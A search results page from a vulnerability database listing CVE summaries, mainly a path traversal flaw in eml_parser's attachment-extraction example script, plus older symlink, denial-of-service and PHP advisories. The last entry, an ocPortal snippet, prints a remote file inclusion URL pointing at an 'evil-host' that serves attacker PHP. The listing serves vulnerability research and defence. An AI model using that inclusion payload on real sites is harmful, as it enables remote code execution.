Lucene search
K

16 matches found

NVD
NVD
added 2026/03/07 4:15 p.m.1 views

CVE-2026-29780

emlparser serves as a python module for parsing eml files and returning various information found in the e-mail as well as computed information. Prior to version 2.0.1, the official example script examples/recursivelyextractattachments.py contains a path traversal vulnerability that allows...

5.5CVSS0.00007EPSS
Exploits1References3
ATTACKERKB
ATTACKERKB
added 2026/03/07 3:22 p.m.1 views

CVE-2026-29780

emlparser serves as a python module for parsing eml files and returning various information found in the e-mail as well as computed information. Prior to version 2.0.1, the official example script examples/recursivelyextractattachments.py contains a path traversal vulnerability that allows...

5.5CVSS5.8AI score0.00007EPSS
Exploits1References4Affected Software1
Cvelist
Cvelist
added 2026/03/07 3:22 p.m.25 views

CVE-2026-29780 eml_parser: Path Traversal in Official Example Script Leading to Arbitrary File Write

emlparser serves as a python module for parsing eml files and returning various information found in the e-mail as well as computed information. Prior to version 2.0.1, the official example script examples/recursivelyextractattachments.py contains a path traversal vulnerability that allows...

5.5CVSS0.00007EPSS
Exploits1References3
CVE
CVE
added 2026/03/07 3:22 p.m.8 views

CVE-2026-29780

Summary: CVE-2026-29780 affects the Python eml_parser library. The vulnerability resides in the official example script (examples/recursively_extract_attachments.py), where attachment filenames are used directly to build output paths without sanitization, enabling an attacker-controlled filename ...

5.5CVSS5.8AI score0.00007EPSS
Exploits1References3Affected Software1
Vulnrichment
Vulnrichment
added 2026/03/07 3:22 p.m.2 views

CVE-2026-29780 eml_parser: Path Traversal in Official Example Script Leading to Arbitrary File Write

emlparser serves as a python module for parsing eml files and returning various information found in the e-mail as well as computed information. Prior to version 2.0.1, the official example script examples/recursivelyextractattachments.py contains a path traversal vulnerability that allows...

5.5CVSS5.8AI score0.00007EPSS
Exploits1References3
OSV
OSV
added 2026/03/07 3:22 p.m.1 views

CVE-2026-29780 eml_parser: Path Traversal in Official Example Script Leading to Arbitrary File Write

emlparser serves as a python module for parsing eml files and returning various information found in the e-mail as well as computed information. Prior to version 2.0.1, the official example script examples/recursivelyextractattachments.py contains a path traversal vulnerability that allows...

5.5CVSS5.8AI score0.00007EPSS
Exploits1References5
OSV
OSV
added 2026/03/05 12:16 a.m.2 views

GHSA-389R-RCCM-H3H5 eml_parser: Path Traversal in Official Example Script Leads to Arbitrary File Write

Summary The official example script examples/recursivelyextractattachments.py contains a path traversal vulnerability that allows arbitrary file write outside the intended output directory. Attachment filenames extracted from parsed emails are directly used to construct output file paths without...

5.5CVSS6.2AI score0.00007EPSS
Exploits1References5
Github Security Blog
Github Security Blog
added 2026/03/05 12:16 a.m.4 views

eml_parser: Path Traversal in Official Example Script Leads to Arbitrary File Write

Summary The official example script examples/recursivelyextractattachments.py contains a path traversal vulnerability that allows arbitrary file write outside the intended output directory. Attachment filenames extracted from parsed emails are directly used to construct output file paths without...

5.5CVSS6.2AI score0.00007EPSS
Exploits1References5Affected Software1
Positive Technologies
Positive Technologies
added 2026/03/05 12:0 a.m.2 views

PT-2026-23443

Name of the Vulnerable Software and Affected Versions eml parser versions prior to 2.0.1 Description The eml parser module, used for parsing eml files, contains a path traversal issue in the example script examples/recursively extract attachments.py. This allows for arbitrary file write outside t...

5.5CVSS5.9AI score0.00007EPSS
Exploits1References7
seebug.org
seebug.org
added 2014/07/01 12:0 a.m.55 views

PHP/FI 1.0/FI 2.0/FI 2.0 b10 mylog/mlog Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/713/info The PHP/FI package which was originally written by Rasmus Lerdorf is an is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features...

7.1AI score
Exploits0
UbuntuCve
UbuntuCve
added 2014/02/15 2:57 p.m.16 views

CVE-2012-1088

iproute2 before 3.3.0 allows local users to overwrite arbitrary files via a symlink attack on a temporary file used by 1 configure or 2 examples/dhcp-client-script...

3.3CVSS6AI score0.0012EPSS
Exploits0References1
UbuntuCve
UbuntuCve
added 2008/11/18 4:0 p.m.18 views

CVE-2008-5152

inmail-show in mh-book 200605 allows local users to overwrite arbitrary files via a symlink attack on a 1 /tmp/inmail.log or 2 /tmp/inmail.stdin temporary file...

6.9CVSS5.9AI score0.00025EPSS
Exploits1References1
UbuntuCve
UbuntuCve
added 2008/11/18 4:0 p.m.12 views

CVE-2008-5150

sample.sh in maildirsync 1.1 allows local users to append data to arbitrary files via a symlink attack on a /tmp/maildirsync-..log temporary file...

6.9CVSS5.9AI score0.00025EPSS
Exploits1References1
Exploit DB
Exploit DB
added 2006/02/22 12:0 a.m.19 views

Ipswitch WhatsUp Professional 2006 - Remote Denial of Service

source: https://www.securityfocus.com/bid/16771/info Ipswitch WhatsUp Professional 2006 is susceptible to a remote denial-of-service vulnerability. This issue is due to the application's failure to properly handle certain HTTP GET requests. This issue allows remote attackers to consume excessive...

7.4AI score
Exploits0
exploitpack
exploitpack
added 2006/02/22 12:0 a.m.10 views

Ipswitch WhatsUp Professional 2006 - Remote Denial of Service

Ipswitch WhatsUp Professional 2006 - Remote Denial of Service source: https://www.securityfocus.com/bid/16771/info Ipswitch WhatsUp Professional 2006 is susceptible to a remote denial-of-service vulnerability. This issue is due to the application's failure to properly handle certain HTTP GET...

0.2AI score
Exploits0
exploitpack
exploitpack
added 2004/10/13 12:0 a.m.31 views

ocPortal 1.0.3 - Remote File Inclusion

ocPortal 1.0.3 - Remote File Inclusion http://localhost/ocp-103/index.php?reqpath=http ://evil-host/ On your evil host you must put scipt funcs.php. Example of funcs.php if your host doesn't support php. Example of funcs.php if your host support php. '; ?...

0.1AI score
Exploits0
Rows per page
Query Builder